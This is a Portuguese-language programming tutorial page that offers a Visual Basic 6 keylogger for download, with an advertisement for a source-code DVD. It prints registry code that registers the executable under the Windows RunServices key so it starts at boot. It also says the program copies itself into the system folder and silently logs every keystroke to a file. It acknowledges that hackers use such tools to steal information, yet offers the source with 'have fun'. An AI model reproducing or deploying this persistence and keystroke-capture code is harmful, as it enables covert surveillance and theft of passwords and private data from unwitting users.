Visual Basic 6 - Keylog
Um programa feito no Visual Basic 6 que roda 'em background' e fica monitorando todas as ações feitas na sua máquina. |
Keyloggers são aplicativos ou dispositivos que ficam em execução em um determinado computador para monitorar todas as entradas do teclado.
Assim, aquele que deixou o programa em execução pode, em outro momento, conferir tudo o que foi digitado durante um determinado período.
Este tipo de programa é um muito usado pelos hackers para roubar informações.
- O programa registra o executável - Keylog.EXE no registro do Windows usando o código abaixo:
u =
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\RunServices",
0, KEY_ALL_ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)
- O executável é copiado para o diretórios \Windows\System e é executado quando o Windows é iniciado.
- O arquivo de log Keylog.txt fica gravado no diretório \windows\system
Divirta-se ...
Pegue os fontes completos aqui : keylog.zip ( 17 Kb) (Para abrir o sistema você precisa ter o Visual Basic 6 ou Visual Studio 6)
Nota: esse sistema não funciona na plataforma .NET
No Super DVD Visual Basic você encontra mais de 150 sistemas completos com os fontes para estudo, além de recursos de aprendizagem como cursos, livros, apostilas, códigos exemplos, utilitários ,etc..
Confira !!! Super DVD Visual Basic
Veja os
Destaques e novidades do SUPER DVD Visual Basic
(sempre atualizado) : clique e confira !
Quer migrar para o VB .NET ?
Quer aprender C# ??
Quer aprender os conceitos da Programação Orientada a objetos ? Quer aprender o gerar relatórios com o ReportViewer no VS 2013 ? Quer aprender a criar aplicações Web Dinâmicas usando a ASP .NET MVC 5 ? |
Gostou ? Compartilhe no Facebook Compartilhe no Twitter
Referências: